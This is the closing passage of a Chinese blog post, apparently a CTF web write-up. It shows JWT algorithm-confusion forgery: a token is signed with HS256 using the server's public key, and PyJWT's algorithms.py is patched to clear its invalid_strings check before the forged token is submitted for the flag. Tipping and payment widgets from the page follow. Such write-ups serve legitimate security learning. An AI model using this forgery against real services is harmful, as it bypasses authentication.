print(jwt.encode(payload, key=public, algorithm='HS256'))

执行脚本需要先安装jwt库

pip3 install PyJWT

执行脚本我们会发现报错:

这是提示我们这密钥不能在这个算法里使用,然后我们需要对源码包进行修改。

我们需要修改algorithms.py

LINUX中JWT包的位置 /usr/lib/python3.8/dist-packages/jwt/algorithms.py
打开之后,加上这一句:invalid_strings=[]

 然后再删除 rm -rf pycache

然后执行脚本

 我们将生成的token提交,成功获得flag

web进阶完结!!!

剩余功能上线后持续更新~

  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ErYao7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值